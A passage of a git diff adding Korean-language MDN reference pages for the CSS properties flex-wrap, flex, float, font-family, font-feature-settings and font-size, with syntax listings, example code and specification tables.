+flex-wrap: initial;
+flex-wrap: unset;
+
+ +

flex-wrap 속성의 값으로, 다음 목록 중 하나의 키워드를 선택할 수 있습니다.

+ +

Values

+ +

아래는 사용 가능한 속성값들입니다:

+ +
+
nowrap
+
기본 설정값으로, flex-container 부모요소 영역을 벗어나더라도 flex-item 요소들을 한 줄에 배치합니다. 시작점은 {{cssxref("flex-direction")}} 에 의해 결정된 방향으로 적용됩니다.
+
wrap
+
flex-item 요소들이 내부 로직에 의해 분할되어 여러 행에 걸쳐서 배치됩니다. nowrap 속성과 마찬가지로 요소가 배치되는 시작점은 {{cssxref("flex-direction")}} 에 의해 결정됩니다. 일반적으로 위에서 아래로 쌓이는 순서입니다.
+
wrap-reverse
+
wrap 속성값과 동일하지만, 요소가 나열되는 시작점과 끝점의 기준이 반대로 배치됩니다.
+
+

Formal syntax

+
+
+ +
{{csssyntax}}
+ +

Examples

+ +

HTML

+ +
+
<h4>This is an example for flex-wrap:wrap </h4>
+<div class="content">
+  <div class="red">1</div>
+  <div class="green">2</div>
+  <div class="blue">3</div>
+</div>
+<h4>This is an example for flex-wrap:nowrap </h4>
+<div class="content1">
+  <div class="red">1</div>
+  <div class="green">2</div>
+  <div class="blue">3</div>
+</div>
+<h4>This is an example for flex-wrap:wrap-reverse </h4>
+<div class="content2">
+  <div class="red">1</div>
+  <div class="green">2</div>
+  <div class="blue">3</div>
+</div>
+
+ +

CSS

+ +
/* Common Styles */
+.content,
+.content1,
+.content2 {
+    color: #fff;
+    font: 100 24px/100px sans-serif;
+    height: 150px;
+    text-align: center;
+}
+
+.content div,
+.content1 div,
+.content2 div {
+    height: 50%;
+    width: 50%;
+}
+.red {
+    background: orangered;
+}
+.green {
+    background: yellowgreen;
+}
+.blue {
+    background: steelblue;
+}
+
+/* Flexbox Styles */
+.content {
+    display: flex;
+    flex-wrap: wrap;
+}
+.content1 {
+    display: flex;
+    flex-wrap: nowrap;
+}
+.content2 {
+    display: flex;
+    flex-wrap: wrap-reverse;
+}
+
+
+
+ +

Results

+ +

{{ EmbedLiveSample('Examples', '700px', '700px', '', 'Web/CSS/flex-wrap') }}

+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS3 Flexbox', '#flex-wrap-property', 'flex-wrap') }}{{ Spec2('CSS3 Flexbox') }} 
+ +

{{cssinfo}}

+ +

Browser compatibility

+ + + +

{{Compat("css.properties.flex-wrap")}}

+ +

See also

+ + diff --git a/files/ko/web/css/flex/index.html b/files/ko/web/css/flex/index.html new file mode 100644 index 0000000000..d7bd9f9d3d --- /dev/null +++ b/files/ko/web/css/flex/index.html @@ -0,0 +1,267 @@ +--- +title: flex +slug: Web/CSS/flex +tags: + - CSS + - CSS Flexible Boxes + - CSS Property + - Reference +translation_of: Web/CSS/flex +--- +
{{CSSRef}}
+ +

flex CSS 속성은 하나의 플렉스 아이템이 자신의 컨테이너가 차지하는 공간에 맞추기 위해 크기를 키우거나 줄이는 방법을 설정하는 속성입니다. flex는 {{cssxref("flex-grow")}}, {{cssxref("flex-shrink")}}, {{cssxref("flex-basis")}}의 단축 속성입니다.

+ +
{{EmbedInteractiveExample("pages/css/flex.html")}}
+ + + +

대부분의 경우, flex의 값에는 auto, initial, none이나 단위 없는 양의 수를 사용해야 합니다. 각 값의 적용 효과를 보려면 아래 플렉스 컨테이너의 크기를 조절해보세요.

+ +
+ + + + +

{{EmbedLiveSample("flex", 1200, 370, "", "", "example-outcome-frame")}}

+ +

기본적으로 플렉스 아이템은 콘텐츠의 최소 너비 미만으로 줄어들지 않습니다. {{cssxref("min-width")}}나 {{cssxref("min-height")}} 값을 지정해 바꿀 수 있습니다.

+
+ +

구문

+ +
/* Keyword values */
+flex: auto;
+flex: initial;
+flex: none;
+
+/* One value, unitless number: flex-grow */
+flex: 2;
+
+/* One value, length or percentage: flex-basis */
+flex: 10em;
+flex: 30%;
+
+/* Two values: flex-grow | flex-basis */
+flex: 1 30px;
+
+/* Two values: flex-grow | flex-shrink */
+flex: 2 2;
+
+/* Three values: flex-grow | flex-shrink | flex-basis */
+flex: 2 2 10%;
+
+/* Global values */
+flex: inherit;
+flex: initial;
+flex: unset;
+ +

flex 속성은 한 개에서 세 개의 값을 사용해 지정할 수 있습니다.

+ +
    +
  • 값이 한 개일 때, 그 값은 다음 중 하나여야 합니다. + +
      +
    • {{cssxref("<number>")}}를 지정하면 <flex-grow>입니다.
    • +
    • {{cssxref("<length>")}} 또는 {{cssxref("<percentage>")}}를 지정하면 <flex-basis>입니다.
    • +
    • none, auto, initial 중 하나를 지정할 수 있습니다.
    • +
    +
  • +
  • 값이 두 개일때, 첫 번째 값은 {{cssxref("<number>")}}여야 하며 <flex-grow>가 됩니다. 두 번째 값은 다음 중 하나여야 합니다. +
      +
    • {{cssxref("<number>")}}를 지정하면 <flex-shrink>입니다.
    • +
    • {{cssxref("<length>")}}, {{cssxref("<percentage>")}}, 또는 auto를 지정하면 <flex-basis>입니다.
    • +
    +
  • +
  • 값이 세 개일 때는 다음 순서를 따라야 합니다. +
      +
    1. <flex-grow>에 사용할 {{cssxref("<number>")}}
    2. +
    3. <flex-shrink>에 사용할 {{cssxref("<number>")}}
    4. +
    5. <flex-basis>에 사용할 {{cssxref("<length>")}}, {{cssxref("<percentage>")}}, 또는 auto
    6. +
    +
  • +
+ +

+ +
+
initial
+
아이템 크기가 각각의 widthheight 속성에 따라 정해집니다. 플렉스 컨테이너의 크기를 넘지 않기 위해 최소 크기로 줄어들 수는 있지만, 남은 공간을 채우려 늘어나지는 않습니다. flex: 0 1 auto와 동일합니다.
+
auto
+
아이템 크기가 각각의 widthheight 속성에 따라 정해집니다. 플렉스 컨테이너의 크기를 넘지 않기 위해 최소 크기로 줄어들 수 있으며, 남은 공간을 채우기 위해 늘어날 수도 있습니다. flex: 1 1 auto와 동일합니다.
+
none
+
아이템 크기가 각각의 widthheight 속성에 따라 정해지며, 컨테이너의 크기에 관계 없이 변하지 않습니다. flex: 0 0 auto와 동일합니다.
+
<'flex-grow'>
+
플렉스 아이템의 {{cssxref("flex-grow")}}를 지정합니다. 음수 값은 유효하지 않습니다. 생략 시 기본값은 0입니다.
+
<'flex-shrink'>
+
플렉스 아이템의 {{cssxref("flex-shrink")}}를 지정합니다. 음수 값은 유효하지 않습니다. 생략 시 기본값은 1입니다.
+
<'flex-basis'>
+
플렉스 아이템의 {{cssxref("flex-basis")}}를 지정합니다. 0을 지정하려면 <flex-grow> 또는 <flex-shrink>로 읽히지 않도록 단위를 붙여야 합니다. 생략 시 기본값은 auto입니다.
+
+ +
+

한 개 또는 두 개의 단위 없는 숫자 값을 사용할 때, <flex-basis>의 값은 auto가 아니라 0이 됩니다. 더 자세한 정보는 플렉시블 박스 레이아웃 모듈 초안에서 확인할 수 있습니다.

+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +
#flex-container {
+  display: flex;
+  flex-direction: row;
+}
+
+#flex-container > .flex-item {
+  flex: auto;
+}
+
+#flex-container > .raw-item {
+  width: 5rem;
+}
+
+ +
<div id="flex-container">
+  <div class="flex-item" id="flex">Flex box (click to toggle raw box)</div>
+  <div class="raw-item" id="raw">Raw box</div>
+</div>
+
+ + + +

결과

+ +

{{EmbedLiveSample('예제','100%','60')}}

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Flexbox', '#flex-property', 'flex')}}{{Spec2('CSS3 Flexbox')}}Initial definition
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.flex")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/css/float/index.html b/files/ko/web/css/float/index.html new file mode 100644 index 0000000000..149f9e39a5 --- /dev/null +++ b/files/ko/web/css/float/index.html @@ -0,0 +1,215 @@ +--- +title: float +slug: Web/CSS/float +tags: + - CSS + - CSS Positioning + - CSS Property + - Reference +translation_of: Web/CSS/float +--- +
{{CSSRef}}
+ +

CSS 속성(property) float 은 한 요소(element)가 보통 흐름(normal flow)으로부터 빠져 텍스트 및 인라인(inline) 요소가 그 주위를 감싸는 자기 컨테이너의 좌우측을 따라 배치되어야 함을 지정합니다.

+ +
{{EmbedInteractiveExample("pages/css/float.html")}}
+ + + +

부동(floating) 요소 는 float 의 계산값(computed value)이 none이 아닌 요소입니다.

+ +

{{cssinfo}}

+ +

float 은 블록 레이아웃의 사용을 뜻하기 때문에, 일부 경우에 {{cssxref("display")}} 값의 계산값을 수정합니다:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
지정값(Specified value)계산값
inlineblock
inline-blockblock
inline-tabletable
table-rowblock
table-row-groupblock
table-columnblock
table-column-groupblock
table-cellblock
table-captionblock
table-header-groupblock
table-footer-groupblock
flexflex, 다만 float 은 이러한 요소에 효과가 없음
inline-flexinline-flex, 다만 float 은 이러한 요소에 효과가 없음
그외변화없음
+ +
주의: JavaScript에서 이 속성을 {{domxref("element.style")}} 객체의 멤버로서 참조한다면, 당신은 cssFloat으로 철자를 써야 합니다. 또한 Internet Explorer 8 이전 버전에서는 styleFloat으로 썼음을 주의하세요. 이는 DOM 멤버의 이름은 dash(-)로 구분된 CSS 이름의 카멜케이스(camel-case) 명이다는 규칙의 예외(이고 "class"는 "className"으로 <label>의 "for"는 "htmlFor"로 이스케이프할 필요와 같이 "float"이 JavaScript에서 예약어란 사실 때문)입니다.
+ +

구문

+ +
/* 키워드 값 */
+float: left;
+float: right;
+float: none;
+float: inline-start;
+float: inline-end;
+
+/* 전역 값 */
+float: inherit;
+float: initial;
+float: unset;
+
+ +

+ +
+
left
+
는 요소가 자신의 포함(containing) 블록의 좌측에 부동(float, 떠움직여)해야 함을 나타내는 키워드입니다.
+
right
+
는 요소가 자신의 포함 블록의 우측에 부동해야 함을 나타내는 키워드입니다.
+
none
+
는 요소가 부동하지 않아야 함을 나타내는 키워드입니다.
+
inline-start
+
는 요소가 자신의 포함 블록의 시작쪽에 부동해야 함을 나타내는 키워드입니다. 즉, ltr(left to right) 스크립트 상에서 왼쪽 그리고 rtl(right to left) 스크립트 상에서는 오른쪽.
+
inline-end
+
는 요소가 자신의 포함 블록의 끝쪽에 부동해야 함을 나타내는 키워드입니다. 즉, ltr 스크립트 상에서 오른쪽 그리고 rtl 스크립트 상에서는 왼쪽.
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

CSS

+ +
div { border: solid red;  max-width: 70ex; }
+h4  { float: left;  margin: 0; }
+ +

HTML

+ +
<div>
+  <h4>HELLO!</h4>
+  This is some text. This is some text. This is some text.
+  This is some text. This is some text. This is some text.
+  This is some text. This is some text. This is some text.
+  This is some text. This is some text. This is some text.
+</div>
+ +

{{EmbedLiveSample('예제')}}

+ +

float이 위치 지정되는 법

+ +

위에서 말한 바와 같이, 요소가 부동되면 문서의 보통 흐름에서 빠집니다. 부동된 요소는 포함 박스나 다른 부동된 요소의 가장자리(edge)에 닿을 때까지 좌나 우로 이동됩니다.

+ +

아래 이미지에는, 빨간 사각형이 세 개 있습니다. 둘은 좌에 부동되고 하나는 우에 부동됩니다. "왼쪽" 두 번째 빨간 사각형은 첫 번째 사각형 오른쪽에 놓임을 주의하세요. 추가 사각형은 그들이 포함 박스를 채울 때까지 계속해서 오른쪽으로 쌓입니다. 그 후엔 다음 줄로 넘어갑니다(wrap).

+ +

+ +

float 지우기

+ +

위 예제에서, 부동된 요소는 안에 텍스트가 부동된 블록보다 세로가 더 짧습니다. 그러나, 텍스트가 모든 부동 요소 하단 아래로 넘어갈 만큼 길지 않다면, 예상치 못한 결과를 볼 수 있습니다. 예를 들어, 위 단락(paragraph)이 오직 "Lorem ipsum dolor sit amet,"만 읽고 "Floats Example" 머릿글(heading)처럼 같은 스타일의 다른 머릿글이 이어졌다면, 두 번째 머릿글은 빨간 박스 사이에 보입니다. 아마도, 우리는 다음 머릿글이 완전히 왼쪽으로 정렬되기를 원합니다. 이를 달성하기 위해, 우리는 float을 지워야(clear) 합니다.

+ +

이 예제에서 float을 지우는 가장 간단한 방법은 우리가 왼쪽으로 정렬되는 지 확인하고 싶은 새 머릿글에 {{Cssxref("clear")}} 속성을 추가하는 것입니다:

+ +
h2.secondHeading { clear: both; }
+
+ +

그러나, 이 방법은 우리가 머릿글이 가로로 옆에 계속 보이기를 원하는 같은 블록 형식 문맥(block formatting context) 내에 다른 요소가 없을 때만 동작합니다. 우리 h2 좌우로 부동되는 사이드바(sidebar)인 형제(sibling)가 있다면, clear 사용은 강제로 머릿글이 두 사이드바 아래로 나타나게 하고 이는 아마 우리가 원하는 게 아닙니다.

+ +

그들 아래 요소의 float을 지우는 게 선택사항이 아니라면, 다른 방법(approach)은 부동 요소가 담긴 컨테이너의 블록 형식 문맥을 제한하는 겁니다. 다시 위 예제를 참조하면, 빨간 박스 셋은 모두 p 요소 내에 있는 걸로 보입니다. 우리는 박스를 포함하도록 늘어나지만, 그 하단 밖(밑)으로 사라지지 않게 hidden 혹은 auto 로 p의 {{Cssxref("overflow")}} 속성을 설정할 수 있습니다:

+ +
p.withRedBoxes { overflow: hidden; height: auto; }
+
+ +
주의: overflow 를 scroll 로 설정하면 부동된 모든 자식(child) 요소도 포함합니다. 하지만 스크롤바가 콘텐츠의 높이에 상관없이 보입니다. 그 컨테이너가 콘텐츠를 수용하기 위해 늘어야(grow) 함을 나타내는 기본(default)임에도 불구하고, 여기에서 우리는 height 를 auto 로 설정하고 있습니다.
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
명세상태설명
{{SpecName('CSS Logical Properties', '#float-clear', 'float and clear')}}{{Spec2('CSS Logical Properties')}}inline-start 및 inline-end 값이 추가됨.
{{SpecName('CSS3 Box', '#float', 'float')}}{{Spec2('CSS3 Box')}}많은 새 값이, 아직 모두 분명히 정의되지 않음. 새 기능과 관련 없는 행동의 차이는 모두 의도치 않은 걸로 예상됩니다. 그러므로 보고해 주세요.
{{SpecName('CSS2.1', 'visuren.html#float-position', 'float')}}{{Spec2('CSS2.1')}}변화 없음
{{SpecName('CSS1', '#float', 'float')}}{{Spec2('CSS1')}}초기 정의
+ +

브라우저 호환성

+ +
{{Compat("css.properties.float")}}
+ +

같이 보기

+ + diff --git a/files/ko/web/css/font-family/index.html b/files/ko/web/css/font-family/index.html new file mode 100644 index 0000000000..2653a7e6fc --- /dev/null +++ b/files/ko/web/css/font-family/index.html @@ -0,0 +1,177 @@ +--- +title: font-family +slug: Web/CSS/font-family +tags: + - CSS + - CSS Fonts + - CSS Property + - Reference +translation_of: Web/CSS/font-family +--- +
{{CSSRef}}
+ +

CSS font-family 속성은 선택된 요소에 우선 순위가 지정된 font family 이름과 generic family 이름을  지정할 수 있게 해줍니다. 

+ +

{{EmbedInteractiveExample("pages/css/font-family.html")}}

+ +

값은 콤마로 구분하여 대체가 될 수 있음을 나타냅니다. 브라우저는 폰트 목록에서 컴퓨터에 설치되어 있거나 {{cssxref("@font-face")}} 규칙을 이용하여 다운로드 받을 수 있는 폰트 중 가장 첫번째 폰트를 선택할 것입니다.

+ +

웹 제작자는 font-family 목록에 최소 한 개의 generic family를 추가해야 하는데, 시스템이나 {{cssxref("@font-face")}} 규칙을 이용 해 다운로드 받은 폰트 중에 특정 폰트가 있다는 것을 보장할 수 없기 때문입니다. generic family는 브라우저가 대체할 수 있는 폰트가 필요한 경우 선택할 수 있게 해줍니다. 

+ +

font-size를 설정하거나 다른 폰트 관련 속성들을 한꺼번에 지정하는 경우 {{cssxref("font")}}가 단축형으로 자주 사용됩니다.

+ +

구문

+ +
/* A font family name and a generic family name */
+font-family: Gill Sans Extrabold, sans-serif;
+font-family: "Goudy Bookletter 1911", sans-serif;
+
+/* A generic family name only */
+font-family: serif;
+font-family: sans-serif;
+font-family: monospace;
+font-family: cursive;
+font-family: fantasy;
+font-family: system-ui;
+
+/* Global values */
+font-family: inherit;
+font-family: initial;
+font-family: unset;
+
+ +

The font-family property lists one or more font families, separated by commas. Each font family is specified as either a {{anch("family-name", "<family-name>")}} or a {{anch("generic-name", "<generic-name>")}} value.

+ +

The example below lists two font families, the first with a <family-name> and the second with a <generic-name>:

+ +
font-family: Gill Sans Extrabold, sans-serif;
+
+ +

+ +
+
<family-name>
+
The name of a font family. For example, "Times" and "Helvetica" are font families. Font family names containing whitespace should be quoted.
+
<generic-name>
+
+

Generic font families are a fallback mechanism, a means of preserving some of the style sheet author's intent when none of the specified fonts are available. Generic family names are keywords and must not be quoted. A generic font family should be the last item in the list of font family names. The following keywords are defined:

+ +
+
serif
+
Glyphs have finishing strokes, flared or tapering ends, or have actual serifed endings.
+ E.g. Lucida Bright, Lucida Fax, Palatino, "Palatino Linotype", Palladio, "URW Palladio", serif.
+
sans-serif
+
Glyphs have stroke endings that are plain.
+ E.g. "Open Sans", "Fira Sans", "Lucida Sans", "Lucida Sans Unicode", "Trebuchet MS", "Liberation Sans", "Nimbus Sans L", sans-serif.
+
monospace
+
All glyphs have the same fixed width.
+ E.g. "Fira Mono", "DejaVu Sans Mono", Menlo, Consolas, "Liberation Mono", Monaco, "Lucida Console", monospace.
+
cursive
+
Glyphs in cursive fonts generally have either joining strokes or other cursive characteristics beyond those of italic typefaces. The glyphs are partially or completely connected, and the result looks more like handwritten pen or brush writing than printed letterwork.
+ E.g. "Brush Script MT", "Brush Script Std", "Lucida Calligraphy", "Lucida Handwriting", "Apple Chancery", cursive.
+
fantasy
+
Fantasy fonts are primarily decorative fonts that contain playful representations of characters.
+ E.g. Papyrus, Herculanum, Party LET, Curlz MT, Harrington, fantasy.
+
system-ui
+
Glyphs are taken from the default user interface font on a given platform. Because typographic traditions vary widely across the world, this generic is provided for typefaces that don't map cleanly into the other generics.
+
+
+
+ +

유효한 폰트 패밀리 이름

+ +

Font family names must either be given quoted as strings, or unquoted as a sequence of one or more identifiers. This means that punctuation characters and digits at the start of each token must be escaped in unquoted font family names.

+ +

For example, the following declarations are valid:

+ +
font-family: Gill Sans Extrabold, sans-serif;
+font-family: "Goudy Bookletter 1911", sans-serif;
+ +

The following declarations are invalid:

+ +
font-family: Goudy Bookletter 1911, sans-serif;
+font-family: Red/Black, sans-serif;
+font-family: "Lucida" Grande, sans-serif;
+font-family: Ahem!, sans-serif;
+font-family: test@foo, sans-serif;
+font-family: #POUND, sans-serif;
+font-family: Hawaii 5-0, sans-serif;
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

Some common font families

+ +
.serif {
+  font-family: Times, Times New Roman, Georgia, serif;
+}
+
+.sansserif {
+  font-family: Verdana, Arial, Helvetica, sans-serif;
+}
+
+.monospace {
+  font-family: Lucida Console, Courier, monospace;
+}
+
+.cursive {
+  font-family: cursive;
+}
+
+.fantasy {
+  font-family: fantasy;
+}
+
+ + + +

{{ EmbedLiveSample('Some_common_font_families','600','120') }}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS4 Fonts', '#generic-font-families', 'generic font families')}}{{Spec2('CSS4 Fonts')}}Adds new generic font families, specifically: system-uiemojimath, and fangsong.
{{SpecName('CSS3 Fonts', '#font-family-prop', 'font-family')}}{{Spec2('CSS3 Fonts')}}No significant change
{{SpecName('CSS2.1', 'fonts.html#propdef-font-family', 'font-family')}}{{Spec2('CSS2.1')}}No significant change
{{SpecName('CSS1', '#font-family', 'font-family')}}{{Spec2('CSS1')}}Initial definition
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ +

{{Compat("css.properties.font-family")}}

diff --git a/files/ko/web/css/font-feature-settings/index.html b/files/ko/web/css/font-feature-settings/index.html new file mode 100644 index 0000000000..ad3bcb430b --- /dev/null +++ b/files/ko/web/css/font-feature-settings/index.html @@ -0,0 +1,128 @@ +--- +title: font-feature-settings +slug: Web/CSS/font-feature-settings +translation_of: Web/CSS/font-feature-settings +--- +
{{CSSRef}}
+ +

font-feature-settings CSS 속성은 오픈타입 폰트의 다양한 오픈타입 피처를 설정합니다.

+ +
{{EmbedInteractiveExample("pages/css/font-feature-settings.html")}}
+ + + +

문법

+ +
/* 기본값 사용 */
+font-feature-settings: normal;
+
+/* 오픈타입 피처 태그에 대해 값 설정 */
+font-feature-settings: "smcp";
+font-feature-settings: "smcp" on;
+font-feature-settings: "swsh" 2;
+font-feature-settings: "smcp", "swsh" 2;
+
+/* 전역 값 사용 */
+font-feature-settings: inherit;
+font-feature-settings: initial;
+font-feature-settings: unset;
+ +

가능하다면 단축 속성인 {{cssxref("font-variant")}} 속성을 사용하거나, 각각의 피처와 연관된 {{cssxref("font-variant-ligatures")}}, {{cssxref("font-variant-caps")}}, {{cssxref("font-variant-east-asian")}}, {{cssxref("font-variant-alternates")}}, {{cssxref("font-variant-numeric")}}, {{cssxref("font-variant-position")}} 등을 사용하는 것이 font-feature-settings를 직접 사용하는 것에 비해 더 효율적이고, 예측 가능하게 동작하며 이해하기도 쉽습니다.

+ +

이는 font-feature-settings는 원래 작은 대문자(Small caps)와 같이 접근할 수 있는 다른 방법이 없는 오픈타입 피처를 제어하기 위해 만들어진 저수준의 기능이기 때문입니다.

+ +

+ +
+
normal
+
기본값을 이용하여 텍스트를 표시합니다.
+
<feature-tag-value>
+
텍스트를 렌더링할 때, 오픈타입 피처를 활성화하거나 비활성화하기 위해 피처 태그 목록을 렌더링 엔진에 전달합니다. 피처 태그는 4개의 ASCII 문자로 이루어진 {{cssxref("<string>")}}이어야 합니다. 만약 태그가 네 글자보다 짧거나, 유니코드 U+20U+7E 범위 바깥에 있는 문자를 포함한다면 속성 전체가 무효처리됩니다.
+ 값은 양의 정수 값을 가집니다. 각각 10과 같은 의미를 가지는 키워드 on 과 off도 사용할 수 있습니다. 아무런 값이 설정되지 않았다면 기본값은 1입니다. stylistic alternates와 같이 Boolean 타입이 아닌 오픈타입 피처의 경우, 값은 선택되어야 하는 글리프(글자)를 의미합니다. Boolean 타입인 경우에는 스위치라고 생각하시면 됩니다.
+
+
+ +

Formal definition

+ +

{{cssinfo}}

+ +

Formal syntax

+ +
{{csssyntax}}
+ +

예시

+ +

다양한 오픈타입 피처 활성화

+ +
/* 작은 대문자(small-caps) 대체 글리프를 사용합니다. */
+.smallcaps { font-feature-settings: "smcp" on; }
+
+/* 대문자와 소문자를 모두 작은 대문자로 변환합니다.(문장부호도 영향을 받습니다.)*/
+.allsmallcaps { font-feature-settings: "c2sc", "smcp"; }
+
+/* 영문 대문자 "O"와 구분하기 위해 대각선이 그려진 숫자 0을 사용합니다. */
+.nicezero { font-feature-settings: "zero"; }
+
+/* '역사적인' 형태를 사용하기 위해 'hist' 피처를 활성화합니다. */
+.hist { font-feature-settings: "hist"; }
+
+/* 표준합자(common ligatures)를 비활성화 합니다. 기본값은 활성 상태입니다. */
+.noligs { font-feature-settings: "liga" 0; }
+
+/* 고정폭 숫자(tabular figures)를 사용합니다. */
+td.tabular { font-feature-settings: "tnum"; }
+
+/* 자동 분수 입력을 활성화합니다. */
+.fractions { font-feature-settings: "frac"; }
+
+/* 가능한 swash 문자 중 두번째를 사용합니다. */
+.swash { font-feature-settings: "swsh" 2; }
+
+/* 스타일 세트(stylistic set) 7번을 사용합니다. */
+.fancystyle {
+  font-family: Gabriola; /* available on Windows 7, and on Mac OS */
+  font-feature-settings: "ss07";
+}
+
+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Fonts', '#propdef-font-feature-settings', 'font-feature-settings')}}{{Spec2('CSS3 Fonts')}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("css.properties.font-feature-settings")}}

+ +

See also

+ +
    +
  • {{cssxref("@font-face/font-display", "font-display")}}
  • +
  • {{cssxref("@font-face/font-family", "font-family")}}
  • +
  • {{cssxref("@font-face/font-stretch", "font-stretch")}}
  • +
  • {{cssxref("@font-face/font-style", "font-style")}}
  • +
  • {{cssxref("@font-face/font-weight", "font-weight")}}
  • +
  • {{cssxref("@font-face/font-variant", "font-variant")}}
  • +
  • {{cssxref("@font-face/font-variation-settings", "font-variation-settings")}}
  • +
  • {{cssxref("@font-face/src", "src")}}
  • +
  • {{cssxref("@font-face/unicode-range", "unicode-range")}}
  • +
  • OpenType Feature Tags list
  • +
  • Using the whole font
    + (Note: The -moz syntax is the old one. On Gecko, use the -ms syntax but with -moz.)
  • +
diff --git a/files/ko/web/css/font-size/index.html b/files/ko/web/css/font-size/index.html new file mode 100644 index 0000000000..9f2a57e17c --- /dev/null +++ b/files/ko/web/css/font-size/index.html @@ -0,0 +1,220 @@ +--- +title: font-size +slug: Web/CSS/font-size +translation_of: Web/CSS/font-size +--- +
{{CSSRef}}
+ +

font-size CSS 속성은 폰트의 크기(대문자 "M"의 크기)를 지정합니다. 폰트 크기를 바꾸면 em 과 ex {{cssxref("<length>")}} 단위로 계산된 다른 항목들의 크기를 바꿉니다.

+ +

{{EmbedInteractiveExample("pages/css/font-size.html")}}

+ +

구문

+ +
/* <absolute-size> 값 */
+font-size: xx-small;
+font-size: x-small;
+font-size: small;
+font-size: medium;
+font-size: large;
+font-size: x-large;
+font-size: xx-large;
+
+/* <relative-size> 값 */
+font-size: larger;
+font-size: smaller;
+
+/* <length> 값 */
+font-size: 12px;
+font-size: 0.8em;
+
+/* <percentage> 값 */
+font-size: 80%;
+
+/* 전역 값 */
+font-size: inherit;
+font-size: initial;
+font-size: unset;
+
+ +

The font-size property is specified in one of the following ways:

+ +
    +
  • As one of the absolute-size or relative-size keywords
  • +
  • As a <length> or a <percentage>, relative to the parent element's font size
  • +
+ +

+ +
+
xx-small, x-small, small, medium, large, x-large, xx-large
+
키워드는 사용자의 기본 폰트(medium) 크기에 따라 정해집니다. <font size="1"> 부터 <font size="7"> 와 같은 HTML 과 유사하게 표현됩니다. 기본 유저 폰트 크기는 <font size="3">입니다.
+
larger, smaller
+
키워드에 따라 부모 엘리먼트의 폰트 크기에서 일정 비율로 늘이거나 줄입니다.
+
{{cssxref("<length>")}}
+
+
+

{{cssxref("<length>")}}는 항상 양수입니다. 만약 단위가 em 이나 ex 로 표현되어 있으면, 부모 엘리먼트의 크기에 상대적으로 정해집니다. 예를 들어, 0.5em 은 부모 엘리먼트 폰트 크기의 절반이 현재 엘리먼트의 폰트 크기입니다. 만약 단위가 rem으로 지정되어 있다면, 폰트 크기는 html (루트) 엘리먼트의 폰트 크기에 따라 상대적으로 정해집니다.

+
+
{{cssxref("<percentage>")}}
+
양수인 {{cssxref("<percentage>")}} 는, 부모 엘리먼트의 폰트 크기의 비율입니다.
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

접근법

+ +

폰트 크기는 키워드나 pixel과 em처럼 수치 단위처럼 여러가지 방법으로 지정할 수 있습니다. 각 웹 페이지에 맞는 적합한 방법을 선택해야 합니다.

+ +

키워드

+ +

키워드는 웹의 폰트 크기를 정하는 좋은 방법입니다. 키워드로 엘리먼트의 폰트 크기를 정하면 웹 페이지의 모든 페이지의 폰트 크기가 상대적으로 지정되어 쉽게 전체 페이지의 폰트 크기를 늘이거나 줄일 수 있습니다.

+ +

픽셀

+ +

픽셀 단위의 정확함이 필요하면, 폰트 크기를 픽셀 단위로 (px) 설정하는 것이 좋은 선택입니다. px 값은 정적이고 운영체제 독립적이며 브라우저 독립적인 방법으로 브라우저에 글자들이 정확히 몇 픽셀 높이로 렌더링 되어야 하는지를 정할 수 있습니다다. 브라우저가 비슷한 효과를 내기 위해 각기 다른 방법을 사용하기 때문에 렌더링된 결과가 브라우저마다 아주 조금씩 달라질 수 있습니다.

+ +

폰트 크기 설정을 조합해서 쓸 수 있습니다다. 예를 들어, 부모 엘리먼트의 크기를 16px 로 정하고 자식 엘리먼트의 크기를 larger로 설정하면, 자식엘리먼트의 폰트 크기는 페이지에 있는 부모 엘리먼트보다 크게 보입니다.

+ +
참고: 폰트 크기를 픽셀로 정하는 것은 사용자가 폰트 크기를 브라우저를 이용해 바꿀 수 없기 때문에 접근성이 떨어집니다. (예를 들어 시각에 제약이 있는 사용자가 폰트 크기를 웹 디자이너가 설정한 크기보다 더 크게 설정하려고 할 수 있습니다.) 그러므로, 접근성 높은 페이지를 만들고자 한다면, 폰트 크기를 픽셀 단위로 설정하는 것을 지양해야 합니다.
+ +

em

+ +

폰트 크기를 설정하는 또 하나의 방법은 em 값으로 설정하는 것입니다. em 값은 동적입니다. font-size 속성을 정의할 때, em 은 부모 엘리먼트의 폰트 크기와 같습니다. 만약, 전체 페이지에서 폰트 크기를 정의하지 않으면 높은 가능성으로 브라우저 기본인 16px로 지정됩니다. 따라서 기본 값일때 1em = 16px 이고 2em = 32px 를 나타냅니다. 만약 body 엘리먼트의 font-size 를 20px로 정한 경우, 1em = 20px 이고 2em = 40px 입니다. 2 라는 값은 현재 크기의 배수를 나타냄을 주의해야 합니다.

+ +

em 표현을 pixel 값으로 표현해야 한다면 이 공식을 사용할 수 있습니다.

+ +
em = 구하고자 하는 엘리먼트의 pixel 값 / 부모 엘리먼트의 font-size pixel 값
+ +

예를 들어 페이지의 폰트 크기가 1em이고, 브라우저 기본 값이 1em = 16px로 정의되어 있다고 가정해보겠습니다. 만약 12px 폰트 크기로 지정하고 싶다면 0.75em(12/16 = 0.75) 로 정해야 합니다. 비슷하게, 10px로 정하고 싶다면 0.625em(10/16 = 0.625) 로 정합니다. 22px 은 1.375em 으로 표현합니다.

+ +

